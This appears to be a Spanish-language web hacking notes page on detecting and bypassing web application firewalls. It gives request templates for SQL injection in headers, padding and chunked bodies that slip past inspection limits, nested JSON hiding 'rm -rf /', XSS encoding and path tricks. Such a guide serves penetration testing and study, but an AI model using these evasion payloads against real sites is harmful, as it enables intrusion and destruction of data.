WAF bypass
web hacking
Introducción
Un WAF (firewall de aplicaciones web) ==es una solución de seguridad que protege las aplicaciones web de ataques==. Analiza el tráfico entrante y saliente de las aplicaciones web para identificar y bloquear amenazas.
¿Qué hace un WAF?
Filtra el tráfico HTTP entrante y saliente
Bloquea el tráfico malicioso que entra en una aplicación web
Bloquea la salida de datos no autorizados de la aplicación
Identifica amenazas como malware, bots malignos, ataques de día cero
Enumeración
el proceso de enumerar un WAF puede ser muy importante porque de lo contrario si no sabemos que medidas de seguridad se implementan en una web podemos perder horas intentando explotar vulnerabilidades gracias a no identificar un WAF.
Inspección manual con el navegador
cuando accedamos al sitio web desde nuestro navegador hay que intentar ingresar payloads de ataques comunes en la URL como de algún [[XSS - Cross Site Scripting]] o [[SQL injection]]. Si la web devuelve un Forbidden (403), Service unavailable (503), un Captcha, Cambia el User agent, redirecciones anormales, Encabezados como Server, X-Akamai, X-Scururi-ID, etc son señales de que podría haber un WAF
Comportamiento HTTP
para esta técnica enviamos solicitudes que de alguna u otra manera podrían ser interpretadas cómo "maliciosas" para un WAF
curl -A "sqlmap/1.7.2#stable (http://sqlmap.org)" # enviamos una peticion desde curl cambiando con "-A" el user agent al que tiene por defecto sqlmap en la version mencionada del user agent
curl -I https://example.com # el -I gracias a que solicita enumerar informacion de los HEADERS suele interpretarse como solicitud maliciosa
si despues de ejecutar estos comandos la web devuelve un 403, 406 o algún otro error probablemente estemos siendo bloqueados por un WAF.
Whappalizer y whatweb
herramientas muy importantes en el reconocimiento en el hacking, podemos usarlas para ver que servicios corren y nos podría indicar si hay un WAF
Ping
hacer un ping al dominio y comprobar la IP que nos da el output
ping example.com
podemos comprobar la IP intentando acceder a ella mediante el navegador para ver que respuesta nos da o comprobarla en ipinfo.io
dnrecon
esta tool trata de acceder a los records DNS, podemos saber si hay un WAF con esto por ejemplo viendo muchos dominios de cloudflare en el output ( a veces de hace un leak de la IP original )
dnsrecon -d example.com
# -d : domain
Burpsuite
abrimos burpsuite
enviamos una request normal
luego hacemos lo mismo pero con una inyección básica y compara con la request anterior :
Cambio el status code? Aparecen Headers nuevos o cookies nuevas? Te redirige o devuelve a un captcha?
si la respuesta es si, podrías estar frente a un WAF.
Intento de explotación
intenta utilizar herramientas ruidosas como nikto, sqlmap o XSSer para ver como se comporta el sitio ante las herramientas
Bypass del 403
el código de estado 403 no es necesariamente gracias al WAF de una web, también se puede deber a el código fuente en la pagina o funciones de seguridad, pero es muy común en WAFs, por eso lo agregamos aquí.
Fuzzing de métodos HTTP
Si nos da el código 403 podemos probar cambiando los tipos de request que enviamos para ver si el cambio puede dar lugar a otros códigos de estado como 200, podemos hacer esto fácilmente desde burpsuite, a continuación dejo los métodos HTTP que existen:
*GET
HEAD
POST
PUT
DELETE
CONNECT
TRACE
PATCH
Manipulación de los headers (cuando queremos acceder a todo el sitio)

Proxies y VPN
muchas veces son bloqueos de IP, mantiene varias IPs posibles a utilizar
Trucos en el PATH de la URL
utilizamos este método si queremos acceder a un sitio especifico de la pagina web
/secret - the forbidden (403)
/secret/ - 200
/secret/. - 200
//secret// - 200
/./secret/ - 200
/;/secret - 200
/.;/secret - 200
//;//secret - 200
/secret.json - 200
Herramientas automatizadas
existen herramientas que hacen el reconocimiento de la web para detectar si hay un WAF e incluso te dice cual es, lo que nos ayuda a generar y buscar exploits.
Wafw00f
pip install wafw00f
wafw00f https://example.com
Scripts de nmap
nmap -p 80,443 --script http-waf-detect,http-waf-fingerprint example.com
Explotación
Cambio de user agent
al utilizar herramientas como Sqlmap procura utilizar parámetros que cambien los user agent, también hazlo cuando estés navegando por la web, puedes hacerlo rotativo si lo deseas.
Encoding
hazle encoding a tus payloads, como por ejemplo cambia las "
'
" por%27
y así con otros caracteres, incluso el payload completo. Aparte de URL encode la codificación en base64 una o varias veces es útil.
Fragmentar la carga
Haz que tu payload sea staged
VPN y proxies
utiliza VPN para evitar bloqueos de IP y ocultar tus datos reales, incluso proxies rotatorios para poder mandar solicitudes de forma masiva sin ser bloqueado, prueba con IPs las cuales no estén en bases de datos de bloqueos de IP
Descubrimiento de la IP real del servidor
a veces tenemos el objetivo de querer ver la IP real del servidor para atacarlo directamente ya que el WAF bloquea todos nuestros ataques o simplemente tener mas vectores de explotación
Situaciones donde no es tan útil conseguir la IP detrás del WAF
el servidor sigue redireccionando peticiones al WAF
el servidor también rechaza los payloads
Bypass de bloqueo de zonas especificas
si un WAF nos esta bloqueando la entrada a una ruta de la web como lo veremos en el ejemplo :
/secret
Bypass Nginx
errores de configuración el el WAF de un servidor de nginx nos permite acceder a rutas las cuales deberían estar bloqueadas
/secret.php -> /secret.php/index.php
Bypass Mediante la URL
en general podría funcionar agregar estos caracteres a la URL y ver si ya se nos permite acceder e alguna manera
/secret - the forbidden (403)
/secret/ - 200
/secret/. - 200
//secret// - 200
/./secret/ - 200
/;/secret - 200
/.;/secret - 200
//;//secret - 200
/secret.json - 200
Bypass vía headers
es posible bypassear algunas reglas de WAF por los headers HTTP, enviando headers malformados, que suelen no ser interpretados correctamente por el WAF pero si por el backend del server
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Limite de tamaño
Comúnmente los WAF tienen un cierto límite de longitud de solicitudes a verificar y si una solicitud POST/PUT/PATCH lo supera, el WAF no verificará la solicitud.
# Tamaño máximo del cuerpo de una solicitud web que se puede inspeccionar para las protecciones de Application Load Balancer y AWS AppSync : 8kb
# Tamaño máximo del cuerpo de una solicitud web que se puede inspeccionar para las protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y acceso verificado : 64kb
# ahora vamos a ver como modificar el tamaño de la request (puedes hacerlo en burpsuite por ejemplo):
POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json
{
"username": "admin",
"password": "admin123",
"junk1": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"junk2": "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
...
"junk50": "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
}
# Puedes usar código para generar muchos campos `junkN` y aumentar el payload a más de 64KB.
en request de Python :
import requests
url = "https://example.com/tryhackmywaf"
data = {
"username": "admin",
"password": "admin123"
}
# Añadir padding
for i in range(0, 2000):
data[f"filler_{i}"] = "X" * 50 # Genera 100 KB de padding aprox.
r = requests.post(url, json=data)
print(r.status_code)
Subir archivos : subir un archivo como parte del body puede superar el límite de inspección del WAF
Comentarios : si el backend permite poner comentarios en el cuerpo de la solicitud podemos aprovecharlo para subir el tamaño, ex :
{
"username": "test",
"password": "test123" /* esto es un comentario */
}
Inflar la cookie
algunos WAF solo analizan el body o headers clave, si crecemos la cookie podemos pasar contenido adicional sin ser inspeccionado
Cookie: sessionid=xyz; junk1=AAAA; junk2=BBBB;
Chunks
En el contexto de HTTP, chunks (fragmentos) son pedazos de datos que el servidor o cliente envía uno por uno, en lugar de enviar todo el contenido de una sola vez.
Transfer-Encoding: chunked
utilizar chunks llenos de basura nos servirán de mucho, ejemplo :
POST /login HTTP/1.1
Host: vulnerable.site
Transfer-Encoding: chunked
Content-Type: application/json
User-Agent: Mozilla/5.0
1e
{"username":"admin","password":"1234"}
1400
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
todo lo que pongamos despues nos será considerado por el WAF
json
muchos WAF no pueden seguir estructuras JSON muy anidadas o manejarlas, que es posible de abusar para inyectar cosas adicionales.
POST /api/parse HTTP/1.1
Host: vulnerable.site
Content-Type: application/json
Content-Length: 297
{
"cmd": "echo 'hello'",
"a": {
"b": {
"c": {
"d": {
"e": {
"f": {
"g": {
"h": {
"i": {
"j": {
"cmd": "rm -rf /"
}
}
}
}
}
}
}
}
}
}
}
Ofuscación
_La ofuscación de código es un proceso que hace que las aplicaciones que usted crea para usar fuera de su firewall sean más difíciles de entender después de haber sido descompiladas o Ingeniería inversa
# IIS, ASP Clasic , evadir filtro anti XSS en servidores que ejecutan ASP clásico sobre IIS (Internet Information Services)
<script> -> <%s%cr%u0131pt>
# Path blacklist bypass - Tomcat,técnica para bypassear filtros de ruta (path filters), especialmente en servidores como Apache Tomcat.
# Algunos servidores como Tomcat permiten el uso de ciertos caracteres especiales (;, etc.) que pueden interrumpir o modificar el análisis de rutas por parte del servidor.
Esto puede permitirte acceder a /path1/path2/ incluso si esa ruta está "prohibida" por una lista negra, simplemente usando algo como:
/path1/path2/ -> ;/path1;foo/path2;bar/; # ;foo y ;bar son segmentos inofensivos que ciertos servidores ignoran, El servidor termina procesando eso como si fuera la ruta /path1/path2/.
Last updated